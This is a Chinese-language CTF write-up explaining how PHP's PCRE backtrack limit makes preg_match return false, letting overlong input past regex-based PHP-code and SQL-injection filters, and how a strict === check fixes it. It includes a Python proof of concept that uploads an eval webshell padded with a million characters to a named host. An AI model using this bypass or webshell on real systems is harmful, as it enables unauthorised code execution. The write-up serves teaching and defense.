这次 Code-Breaking Puzzles 中我出了一道看似很简单的题目pcrewaf，将其代码简化如下： 

<?php function is_php($data){ return preg_match('/<\?.*[(`;?>].*/is', $data);  
} if(!is_php($input)) { // fwrite($f, $input); ... }

大意是判断一下用户输入的内容有没有 PHP 代码，如果没有，则写入文件。这种时候，如何绕过 is_php() 函数来写入 webshell 呢？

这道题看似简单，深究其原理，还是值得写一篇文章的。

0×01 正则表达式是什么

正则表达式是一个可以被「有限状态自动机」接受的语言类。

「有限状态自动机」，其拥有有限数量的状态，每个状态可以迁移到零个或多个状态，输入字串决定执行哪个状态的迁移。

而常见的正则引擎，又被细分为 DFA（确定性有限状态自动机）与 NFA（非确定性有限状态自动机）。他们匹配输入的过程分别是：

DFA: 从起始状态开始，一个字符一个字符地读取输入串，并根据正则来一步步确定至下一个转移状态，直到匹配不上或走完整个输入

NFA：从起始状态开始，一个字符一个字符地读取输入串，并与正则表达式进行匹配，如果匹配不上，则进行回溯，尝试其他状态

由于 NFA 的执行过程存在回溯，所以其性能会劣于 DFA，但它支持更多功能。大多数程序语言都使用了 NFA 作为正则引擎，其中也包括 PHP 使用的 PCRE 库。

0×02 回溯的过程是怎样的

所以，我们题目中的正则 <\?.*[(`;?>].*，假设匹配的输入是 <?php phpinfo();//aaaaa，实际执行流程是这样的：

见上图，可见第 4 步的时候，因为第一个 .* 可以匹配任何字符，所以最终匹配到了输入串的结尾，也就是 //aaaaa。但此时显然是不对的，因为正则显示.*后面还应该有一个字符 [(`;?>]。

所以 NFA 就开始回溯，先吐出一个 a，输入变成第 5 步显示的 //aaaa，但仍然匹配不上正则，继续吐出 a，变成 //aaa，仍然匹配不上……

最终直到吐出;，输入变成第 12 步显示的 <?php phpinfo()，此时 ，.* 匹配的是 php phpinfo()，而后面的 ; 则匹配上  [(`;?>] ，这个结果满足正则表达式的要求，于是不再回溯。13 步开始向后匹配;，14 步匹配.*，第二个.*匹配到了字符串末尾，最后结束匹配。

在调试正则表达式的时候，我们可以查看当前回溯的次数：

这里回溯了 8 次。

0×03 PHP 的 pcre.backtrack_limit 限制利用

PHP 为了防止正则表达式的拒绝服务攻击（reDOS），给 pcre 设定了一个回溯次数上限 pcre.backtrack_limit。我们可以通过 var_dump(ini_get(‘pcre.backtrack_limit’));的方式查看当前环境下的上限：

这里有个有趣的事情，就是 PHP 文档中，中英文版本的数值是不一样的：

我们应该以英文版为参考。

可见，回溯次数上限默认是 100 万。那么，假设我们的回溯次数超过了 100 万，会出现什么现象呢？比如：

可见，preg_match 返回的非 1 和 0，而是 false。

preg_match 函数返回 false 表示此次执行失败了，我们可以调用 var_dump(preg_last_error() === PREG_BACKTRACK_LIMIT_ERROR);，发现失败的原因的确是回溯次数超出了限制：

所以，这道题的答案就呼之欲出了。我们通过发送超长字符串的方式，使正则执行失败，最后绕过目标对 PHP 语言的限制。

对应的 POC 如下： 

import requests from io import BytesIO

files = { 'file': BytesIO(b'aaa<?php eval($_POST[txt]);//' + b'a' * 1000000)
}

res = requests.post('http://51.158.75.42:8088/index.php', files=files, allow_redirects=False)
print(res.headers)

0×04 PCRE 另一种错误的用法

延伸一下，很多基于 PHP 的 WAF，如： 

<?php if(preg_match('/SELECT.+FROM.+/is', $input)) { die('SQL Injection');
}

均存在上述问题，通过大量回溯可以进行绕过。

另外，我遇到更常见的一种 WAF 是： 

<?php if(preg_match('/UNION.+?SELECT/is', $input)) { die('SQL Injection');
}

这里涉及到了正则表达式的「非贪婪模式」。在 NFA 中，如果我输入 UNION/*aaaaa*/SELECT，这个正则表达式执行流程如下：

.+? 匹配到/

因为非贪婪模式，所以.+? 停止匹配，而由 S 匹配*

S 匹配*失败，回溯，再由.+? 匹配*

因为非贪婪模式，所以.+? 停止匹配，而由 S 匹配 a

S 匹配 a 失败，回溯，再由.+? 匹配 a

…

回溯次数随着 a 的数量增加而增加。所以，我们仍然可以通过发送大量 a，来使回溯次数超出 pcre.backtrack_limit 限制，进而绕过 WAF：

0×05 修复方法

那么，如何修复这个问题呢？

其实如果我们仔细观察 PHP 文档，是可以看到 preg_match 函数下面的警告的：

如果用 preg_match 对字符串进行匹配，一定要使用===全等号来判断返回值，如： 

<?php function is_php($data){ return preg_match('/<\?.*[(`;?>].*/is', $data);  
} if(is_php($input) === 0) { // fwrite($f, $input); ... }

这样，即使正则执行失败返回 false，也不会进入 if 语句。

*本文原创作者：phith0n